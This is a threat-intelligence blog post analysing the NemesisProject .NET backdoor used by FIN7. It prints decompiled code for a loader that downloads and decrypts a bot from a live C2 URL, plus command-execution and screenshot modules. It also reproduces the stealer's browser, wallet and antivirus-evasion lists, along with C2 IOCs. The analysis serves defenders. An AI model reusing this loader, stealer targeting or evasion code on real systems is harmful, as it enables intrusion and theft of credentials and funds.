NemesisProject. By: Jason Reaves, Jonathan McCay and… | by Jason Reaves | Walmart Global Tech Blog | Jul, 2023

medium.com/walmartglobaltech/nemesisproject-816ed5c1e8d5

Jason Reaves July 31, 2023

NemesisProject

--

By: Jason Reaves, Jonathan McCay and Joshua Platt

NemesisProject has been seen being utilized at least partially by FIN7[1] recently where it was seen being delivered through Tirion (aka Lizar, DiceLoader). The project itself comes as a backdoor framework with plugin components:

- BotLoaderStarter
- Bot Module
- CMD Module
- Powershell Module

- PrintScreen Module
- Stealer Module

It appears to be in active development, most of the pieces CI has recovered or looked at have been written in .NET. The components have functionality to directly load and execute managed assembly code.

Technical Overview

As previously mentioned, this framework has a number of components, we will go over each component below.

BotLoaderStarter

The BotLoaderStarter is, as the name suggests, a loader designed to download and run a file; it comes with onboard settings or a configuration for the Loader:

```
namespace Bot.Settings{ public static class Setup {  public static string
WebChannelMainUrl1 = "http://de-signui.]com/api/support";  public static string
WebChannelMainUrl2 = "";  public static string WebChannelMainUrl3 = "";  public
static string OneDriveChannelLogin = "";  public static string
OneDriveChannelPassword = "";  public static string OneDriveChannelUrlPath = "";
public static string AzureConnectionString = "";  public static string
IsEnableCryptorBot = "1";  public static string SeparateWord = "OEYQBEDEOUNN"; }}
```

The main functionality as previously mentioned is to download and run a file:

```
  private static string botName = "m_BOT.dll";  public static void Run()  {   byte[]
array = Main.DownloadBot(Setup.WebChannelMainUrl1);   if (array == null &&
!string.IsNullOrEmpty(Setup.WebChannelMainUrl2))   {    array =
Main.DownloadBot(Setup.WebChannelMainUrl2);   }   if (array == null &&
!string.IsNullOrEmpty(Setup.WebChannelMainUrl3))   {    array =
Main.DownloadBot(Setup.WebChannelMainUrl3);   }   Main.CheckAndStartBot(array);  }
```

In this case the file to be downloaded is called ‘m_BOT.dll’ and will be downloaded over HTTP, you may have noticed that there were two other methods of communications available in the config data which was Azure and OneDrive, but they are not used by this loader.

The downloaded file is encrypted using RC4 but the key and start of the encrypted data is actually inside the downloaded binary:

```
private static void CheckAndStartBot(byte[] data)  {   if (data == null)   {
return;   }   if (Setup.IsEnableCryptorBot == "1")   {    string separateWord =
Setup.SeparateWord;    byte[] bytes = Encoding.UTF8.GetBytes(separateWord);
List<int> list = Main.IndexOfSequence(data, bytes, 0);    byte[] arg_90_0 =
data.Skip(list[0] + bytes.Length).Take(list[1] - list[0] -
bytes.Length).ToArray<byte>();    byte[] data2 = data.Skip(list[1] +
bytes.Length).Take(data.Length - list[1] - bytes.Length).ToArray<byte>();
Main.StartBot(Main.RC4(arg_90_0, data2));    return;   }   Main.StartBot(data);  }
private static void StartBot(byte[] bot)  {   new Thread(delegate   {    Type type =
Assembly.Load(bot).GetType("Bot.Main");    type.InvokeMember("Run",
BindingFlags.InvokeMethod, null, type, new object[0]);   }).Start();  }
```

The loader uses the SeparateWord string from the settings to find the RC4 key and the start of the encrypted data. Python example:

```
>>> t2 = data[6144:]>>>
t2[:100]b'LCYEQDQMFUBTJBDXERQTLCYEQDQMFUBTU\xd6\x9f\xec\x95\x00dv\xcb0\xb4\x04\xe9I\xe
 \x03\x80\xad\xeb\xe3^?{\xb3\x07\xf4\x08j\x97\xc7\xd5\x8c'>>> len(sep)12>>> t2 =
t2[12:]>>>
t2[:100]b'JBDXERQTLCYEQDQMFUBTU\xd6\x9f\xec\x95\x00dv\xcb0\xb4\x04\xe9I\xea\xccxh72#}\
 \x03\x80\xad\xeb\xe3^?
{\xb3\x07\xf4\x08j\x97\xc7\xd5\x8c\xfa\xbb\xbeTG\xb8\xe6B\xce3\xf1\xb8'>>>
t2.find(sep)8>>> d = t2[:8]>>> t2 = t2[8+12:]>>>
t2[:100]b'U\xd6\x9f\xec\x95\x00dv\xcb0\xb4\x04\xe9I\xea\xccxh72#}\x05\xc6J\x97F\xe4\xe
 \x03\x80\xad\xeb\xe3^?
{\xb3\x07\xf4\x08j\x97\xc7\xd5\x8c\xfa\xbb\xbeTG\xb8\xe6B\xce3\xf1\xb8K\xb8\x13%\xe4\x
 t2.find(sep)-1>>> from Crypto.Cipher import ARC4>>> rc4 = ARC4.new(d)>>> ttt =
rc4.decrypt(t2)>>>
ttt[:100]b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\
 program cannot be'>>> sepb'LCYEQDQMFUBT'>>> db'JBDXERQT'
```

Bot

The bot piece of this framework contains a large amount of encoded strings, even in the additionally included libraries. The encoding is just a base64 decode followed by a GZIP decompress:

```
def decode(a):    t = base64.b64decode(a)    l = struct.unpack_from('<I', t)[0]    if
l != 0:        return(zlib.decompress(t[4:],30))    return(t[4:])
```

Using the above function, we can quickly enumerate all the decompiled .NET code to enumerate all the encoded strings, a quick list of all the decoded strings from the bot code only:

```
xAzureRUNDLL.txt.dllPOST_cmdSUCCESS"Run.jpg_runUpload----
file_CMDPRINTSCREEN/SHELLCODE[^A-Za-z0-
9]x86documentsPOWERSHELL_scr/PostFilebotshareWeb {0}http://de-
signui.com/api/supportx64_ping?
file=_ps_msgOneDriveModule.MainKILLb_bdirm_LCYEQDQMFUBTapplication/json_kill_respSTEAL
streamPING_pongNONEERROR_inject1PONG
```

C2 traffic can be over Web, OneDrive or Azure:

```
   if (!string.IsNullOrEmpty(Setup.WebChannelMainUrl1))   {    this.engineWeb1 =
WebChannelWrapper.Engine.GetEngine(BotEngine.botId, Setup.WebChannelMainUrl1, num++);
}   if (!string.IsNullOrEmpty(Setup.WebChannelMainUrl2))   {    this.engineWeb2 =
WebChannelWrapper.Engine.GetEngine(BotEngine.botId, Setup.WebChannelMainUrl2, num++);
}   if (!string.IsNullOrEmpty(Setup.WebChannelMainUrl3))   {    this.engineWeb3 =
WebChannelWrapper.Engine.GetEngine(BotEngine.botId, Setup.WebChannelMainUrl3, num++);
}   if (!string.IsNullOrEmpty(Setup.OneDriveChannelLogin) &&
!string.IsNullOrEmpty(Setup.OneDriveChannelPassword) &&
!string.IsNullOrEmpty(Setup.OneDriveChannelUrlPath))   {    this.engineOneDrive = new
OneDriveWrapper.Engine(BotEngine.botId, Setup.OneDriveChannelLogin,
Setup.OneDriveChannelPassword, Setup.OneDriveChannelUrlPath, num++);   }   if
(!string.IsNullOrEmpty(Setup.AzureConnectionString))   {    this.engineAzure = new
AzureWrapper.Engine(BotEngine.botId, Setup.AzureConnectionString, num++);   }
```

The OneDrive and Azure mode operate in a similar manner, they create a file on either an Azure tenant or in a SharePoint folder. The filename will be based on bot data and then gets checked periodically waiting for a command or task to run.

Command functionality:

- HeartBeat
- TimerTick
- PowerShellScriptRun
- StealerRun
- InjectShellCode
- CmdScriptRun
- RunModuleWithBodyAndReturnMessage
- RunModuleWithBody
- PrintScreen
- KILL
- RunICE
- Ping
- Pong
- RunDLL

Azure config template:

```
  private string connectionString;  private string shareName = "botshare";  private
string dirName = "bdir";  private string botId;  private string templateResponse;
private string templatePowerShell;  private string templateCmd;  private string
templateStealer;  private string templatePrintScreen;  private string
templatePrintScreenFile;  private string templatePing;  private string templateRun;
private string templateInjectShellCode;  private string templatePong;  private string
templateKill;  private string templateMessage;  private string templateResponseEnd =
'_resp';  private string templatePowerShellEnd = '_ps';  private string
templateCmdEnd = '_cmd';  private string templateStealerEnd = '_stealer';  private
string templatePrintScreenEnd = '_scr';  private string templatePingEnd = '_ping';
private string templatePongEnd = '_pong';  private string templateRunEnd = '_run';
private string templateInjectShellCodeEnd = inject';  private string templateKillEnd
= '_kill';  private string templateMessageEnd = '_msg';  private string
templateStartBot = 'b_';  private string templateStartModule = 'm_';  public bool
IsActive
```

PingPong sends off some bot info when it performs a checkin:

```
return Json.Serialize(new PingPong(botId)
{
 State = state,
 Type = type,
 FileName = fileName,
 OsName = SystemHelper.GetOSInfo(),
 Ip = SystemHelper.GetLocalIPAddress(),
 AvDetect = SystemHelper.CheckAV(),
 Message = message
}, null);
```

The CheckAV function looks for a very large amount of AV artifacts:

```
ALYacaylaunch.exeayupdate2.exeAYRTSrv.exeAYAgent.exeAVGAVGSvc.exeAVGUI.exeavgwdsvc.exe
AwareAdAwareService.exeAd-Aware.exeAdAware.exeAhnLab-
V3patray.exeV3Svc.exeArcabitarcavir.exearcadc.exeArcaVirMaster.exeArcaMainSV.exeArcaTa

AntiVirusavcenter.exeavguard.exeavgnt.exesched.exeBaiduSdSvc.exeBaiduSdTray.exeBaiduSd
QuickHealQUHLPSVC.exeonlinent.exesapissvc.exescanwscs.exeCMCCMCTrayIcon.exeClamAVfresh

Falconcsfalconservice.exeCSFalconContainer.exeCybereasonCybereasonRansomFree.exeCybere
NOD32egui.exeecls.exeekrn.exeeguiProxy.exeEmsisofta2cmd.exea2guard.exeEndgameendgame.e
ProtF-PROT.exeFProtTray.exeFPAVServer.exef-stopw.exef-prot95.exef-agnt95.exeF-
Securef-
secure.exefssm32.exeFsorsp64.exefsavgui.exefameh32.exefch32.exefih32.exefnrb32.exefsav
 Secure
SoftwareSDSystemTray.exeMaxRCSystemTray.exeRCSystemTray.exeMalwarebytesMalwarebytesPor
 security essentialsMsMpEng.exemssecess.exeemet_service.exedrwatson.exeNANO-
Antivirusnanoav.exenanoav64.exenanoreport.exenanoreportc.exenanoreportc64.exenanorst.e
squared freea2guard.exea2free.exea2service.exePalo Alto NetworksPanInstaller.exePanda
Securityremupd.exeapvxdwin.exepavproxy.exepavsched.exeQihoo-
360360sd.exe360tray.exeZhuDongFangYu.exe360rp.exe360safe.exe360safebox.exeQHActiveDefe
 APEXUniversalAVService.exeEverythingServer.execlamd.exeSophos
AVSavProgress.exeSophosUI.exeSophosFS.exeSophosHealth.exeSophosSafestore64.exeSophosCl
```

The list of available modules that the bot can download (can be either 32 or 64 bit):

- PRINTSCREEN
- CMD
- STEALER
- POWERSHELL

Nemesis Stealer

The stealer component has been previously reported on[1], it is interesting that the stealer comes with its own configuration onboard which would allow it to be used independently. In this case the C2 is the same as the previous bot piece.

In terms of functionality the stealer did not include C2 functionality for Azure or OneDrive but instead operated over HTTP, it also checks the country of the system it is running on to see if it is one of these countries:

```
Armenia
Azerbaijan
Belarus
Kazakhstan
Kyrgyzstan
Moldova
Uzbekistan
Ukraine
Russia
```

Has built-in checks for the following as well:

- RDP available
- SandBoxie
- Virtual check

For the virtual machine check it will perform WMI queries on Win32_ComputerSystem to check for the following strings:

```
virtualvmboxvmwarevirtualboxboxthinappVMXhinnotek
gmbhtpvcgatewaytpautoconnsvcvboxkvmred hat
```

The stealer will also attempt to turn off the following registry values:

- PromptOnSecureDesktop
- ConsentPromptBehaviorAdmin

Browsers are targeted for harvesting logins, bookmarks, cookies, credit cards, autofills and history data. The browsers targeted can be split between Chromium based and Gecko based.

Chromium based browsers:

- Google Chrome
- Opera Stable
- Opera
- Opera Neon
- Citrio
- CoolNovo
- Avant Webkit
- Iridium
- Yandex
- Orbitum
- Kinza
- Brave
- Amigo
- Torch
- Comodo Dragon
- Kometa
- Vivaldi
- Nichrome Rambler
- Epic Privacy
- CocCoc
- 360Browser

- Sputnik
- Uran
- CentBrowser
- 7Star
- Elements
- Superbird
- Chedot
- Suhba
- Mustang
- Edge

Paths:

```
"\\Chromium\\User Data\\","\\Google\\Chrome\\User
Data\\","\\Google(x86)\\Chrome\\User Data\\","\\Opera
Software\\","\\MapleStudio\\ChromePlus\\User Data\\","\\Iridium\\User
Data\\","\\7Star\\7Star\\User Data\\","\\CentBrowser\\User Data\\","\\Chedot\\User
Data\\","\\Vivaldi\\User Data\\","\\Kometa\\User Data\\","\\Elements Browser\\User
Data\\","\\Epic Privacy Browser\\User Data\\","\\Microsoft\\Edge\\User
Data\\","\\uCozMedia\\Uran\\User Data\\","\\Fenrir
Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\","\\CatalinaGroup\\Citrio\\User
Data\\","\\Coowon\\Coowon\\User Data\\","\\liebao\\User Data\\","\\QIP Surf\\User
Data\\","\\Orbitum\\User Data\\","\\Comodo\\Dragon\\User Data\\","\\Amigo\\User\\User
Data\\","\\Torch\\User Data\\","\\Yandex\\YandexBrowser\\User Data\\","\\Comodo\\User
Data\\","\\360Browser\\Browser\\User Data\\","\\Maxthon3\\User Data\\","\\K-
Melon\\User Data\\","\\Sputnik\\Sputnik\\User Data\\","\\Nichrome\\User
Data\\","\\CocCoc\\Browser\\User Data\\","\\Uran\\User Data\\","\\Chromodo\\User
Data\\","\\Mail.Ru\\Atom\\User Data\\","\\BraveSoftware\\Brave-Browser\\User Data\\"
```

Gecko Based browsers:

- Firefox
- Mozilla
- IceDragon
- Comodo_Dragon
- Pale_Moon
- Waterfox
- Thunderbird
- Cyberfox
- NETGATE_BlackHaw

Paths:

```
"\\Mozilla\\Firefox","\\Comodo\\IceDragon","\\Mozilla\\SeaMonkey","\\Moonchild
Productions\\Pale Moon","\\Waterfox","\\K-
Meleon","\\Thunderbird","\\8pecxstudios\\Cyberfox","\\NETGATE Technologies\\BlackHaw"
```

Parses credit card numbers:

- Amex Card
- BCGlobal
- Carte Blanche Card
- Diners Club card
- Discover Card
- Insta Payment Card
- JCB Card
- KoreanLocalCard
- Laser Card
- Maestro Card
- Mastercard
- Solo Card
- Switch Card
- Union Pay Card
- Visa Card
- Visa Mastercard
- Express Card

Applications targeted:

- DynDNS
- FileZilla
- FoxMail
- Pidgin
- Telegram
- Discord Tokens
- Steam local config
- Steam profile data
- NordVPN
- OpenVPN
- ProtonVPN

Crypto Wallets:

- Electrum
- Electrum-DASH
- Ethereum
- Exodus
- Atomic
- Jaxx
- Coinomi

- Guarda
- Armory
- Zcash
- Bytecoin

Crypto Extensions:

- MetaMask — nkbihfbeogaeaoehlefnkodbefgpgknn
- TronLink — ibnejdfjmmkpcnlpebklmnkoeoihofec
- Binance — fhbohimaelbohpjbbldcngcnapndodjp

The stealer will also attempt to harvest files from the infected system that match a list of extensions, in this case the following:

- .txt
- .doc
- .cs
- .html
- .htm
- .xml
- .php
- .json
- .rdp
- .ovpn

CMD Module

The CMD module is for executing a shell command via cmd.exe and then returning the result.

```
 public static class Main {  public static string Run(string cmd)  {   Process
expr_36 = Process.Start(new ProcessStartInfo("cmd.exe", "/c " + cmd)   {
CreateNoWindow = true,    UseShellExecute = false,    RedirectStandardError = true,
RedirectStandardOutput = true   });   expr_36.WaitForExit();   string result =
expr_36.StandardOutput.ReadToEnd();   expr_36.StandardError.ReadToEnd();   int
arg_5A_0 = expr_36.ExitCode;   expr_36.Close();   return result;  } }
```

POWERSHELL Module

The PowerShell module is similar to the CMD one except that it detonates a PowerShell command:

```
namespace Module{ public static class Main {  public static bool Run(string cmd)  {
PowerShell.Create().AddScript(cmd).Invoke();   return true;  } }}
```

PRINTSCREEN Module

The printscreen module takes a screenshot and returns it:

```
 public static class Main {  public static byte[] Run()  {   Bitmap bitmap = new
Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics.FromImage(bitmap).CopyFromScreen(0, 0, 0, 0, bitmap.Size);   MemoryStream
memoryStream = new MemoryStream();   bitmap.Save(memoryStream, ImageFormat.Jpeg);
memoryStream.Position = 0L;   return Main.StreamToByteArray(memoryStream);  }
```

IOCS

WMI commands

```
SELECT * FROM Win32_ComputerSystemSELECT * FROM Win32_OperatingSystem- version- user-
serialnumber- computer name- logical processes- system directionSELECT * FROM
Win32_Processor- CPU name- cpu idSELECT * FROM Win32_DesktopMonitor- screen
resolutionSELECT * FROM Win32_BIOS- BIOS versionSELECT * FROM AntiVirusProduct-
installed antivirusSELECT * FROM FirewallProduct- installed firewallSELECT
TotalPhysicalMemory FROM Win32_ComputerSystem- TotalPhysicalMemorySELECT * FROM
Win32_PhysicalMemory- capacity- memorytypeSELECT * FROM Win32_VideoController-
adapterram
```

Files written:

```
Counter.txtClip_BoardText.txtInformation.htmlInstalled_Software_Log.txtProcessInfo_Log
```

Malware C2:

```
es-
megadom.com194.87.148.85195.123.245.3065.108.255.127213.166.71.15523.227.193.141plus-
lema.comdeveparty.comde-signui.com91.107.143.20helloworld2.watela2425.workers.dev
```

References

1: https://securityintelligence.com/posts/ex-conti-fin7-actors-collaborate-new-backdoor/